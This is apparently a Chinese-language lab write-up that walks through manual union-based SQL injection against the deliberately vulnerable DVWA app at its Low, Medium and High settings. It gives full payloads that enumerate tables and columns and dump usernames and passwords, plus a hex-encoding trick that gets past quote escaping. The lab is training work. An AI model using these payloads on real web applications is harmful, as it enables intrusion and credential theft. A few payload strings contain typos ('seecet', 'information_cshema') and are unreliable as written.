MySql相关知识

MySQL5.0版本之后,MySQL默认在数据库中存放一个“information_cshema”的数据库,在该数据库中分别有三个表:SCHEMATA、TABLES、COLUMNS

  • SCHEMATA
    存储该用户创建的所有数据库的库名,其中SCHEMA_NAME字段存放数据库库名
  • TABLES
    TABLES表中存储用户创建的所有数据库的库名和表名,其中TABLE_SCHEMA字段存放数据库库名,TABLE_NAME字段存放数据库表名
  • COLUMNS
    COLUMNS表存储用户创建的所有数据库的库名、表名、字段名,其中TABLE_SCHEMA字段存放数据库库名,TABLE_NAME字段存放数据库表名,COLUMN_NAME字段存放数据库字段名

手工注入思路(非盲注)

1.判断是否存在注入点,注入是字符型注入还是数字型注入
2.判断SQL查询语句中的字段数
3.确定回显点
4.获取当前数据库
5.获取当前数据库中的表名
6.获取表中字段名
7.查询字段,获取表中数据

Low

1.判断是否存在注入点,注入是字符型注入还是数字型注入
输入1,页面正常
DVWA SQL Injection
输入1' and '1'='1 页面正常,判断存在字符型注入
DVWA SQL Injection
2.猜解SQL查询语句中的字段数
输入1' and 1 order by 1,2# 查询成功
DVWA SQL Injection
输入1' and 1 order by 3# 查询失败,说明执行的SQL查询语句中只有两个字段
DVWA SQL Injection

3.确定回显点
输入1' union select 1,2#
DVWA SQL Injection
4.获取当前数据库
输入 1' union seecet 1,database()#,查得当前数据库为dvwa
DVWA SQL Injection

5.获取数据库表名
输入1' union select 1,table_name from information_schema.tables where table_schema=database()#,查得当前数据库有两个表,guestbook和users
DVWA SQL Injection

6.获取表中字段名
输入1' union select 1,column_name from information_schema.columns where table_name='users'#,查得users表中字段:user_id、first_name、last_name、user、password、avatar、last_login、failed_login
DVWA SQL Injection

7.查询字段,获取表中数据
输入1' union select user,password from users#,查得user和password的数据
DVWA SQL Injection

Medium

前端使用了下拉选择菜单,所以选择使用burp抓包,通过修改参数来提交恶意构造的查询语句
DVWA SQL Injection
抓到数据包如下
DVWA SQL Injection
将数据包发送到Repeater模块,通过修改参数id来提交构造的查询语句
1.判断是否存在注入点,注入是字符型注入还是数字型注入
修改参数id为1' and '1'='1 页面报错
DVWA SQL Injection
修改参数id为1 and 1=1 查询成功,说明存在数字型注入
DVWA SQL Injection
2.判断SQL查询语句中的字段数
修改参数id为1 order by 1,2查询成功
DVWA SQL Injection
修改参数id为1 order by 1,2,3查询失败,说明执行的SQL查询语句中只有两个字段
DVWA SQL Injection
3.确定回显点
修改参数id为1 union select 1,2
DVWA SQL Injection
4.获取当前数据库
修改参数id为1 union select 1,database(),查得数据库名为dvwa
DVWA SQL Injection
5.获取当前数据库中的表名
修改参数id为1 union select 1,table_name from information_schema.tables where table_schema=database(),查得数据库中有guestbook和users两个表
DVWA SQL Injection
获取表中字段名
修改参数id为1 union select 1,column_name from information_schema.columns where table_name='users',查询失败,查看报错信息可知失败原因是'被转义为\'
DVWA SQL Injection
可以使用十六进制绕过,修改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273,查询成功,查得字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login
DVWA SQL Injection
这里为了方便在burp中观察使用了group_concat函数对字段名进行了拼接
7.查询字段,获取表中数据
修改参数id为1 union select user,password from users,查得user和password的数据
DVWA SQL Injection

High

虽然High级别的查询提交页面与查询结果显示页面不是同一个,但手工注入过程和Low级别基本一致,这里便不再赘述,将直接演示最后一步查询字段,获取表中数据
输入1' and 1 union select user,password from users#,即可获取user和password的数据
DVWA SQL Injection
这里查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-05-11
  • 2023-03-18
  • 2021-08-02
  • 2021-08-17
  • 2021-12-26
猜你喜欢
  • 2021-06-11
  • 2021-07-19
  • 2022-01-11
  • 2021-08-04
  • 2021-06-17
相关资源
相似解决方案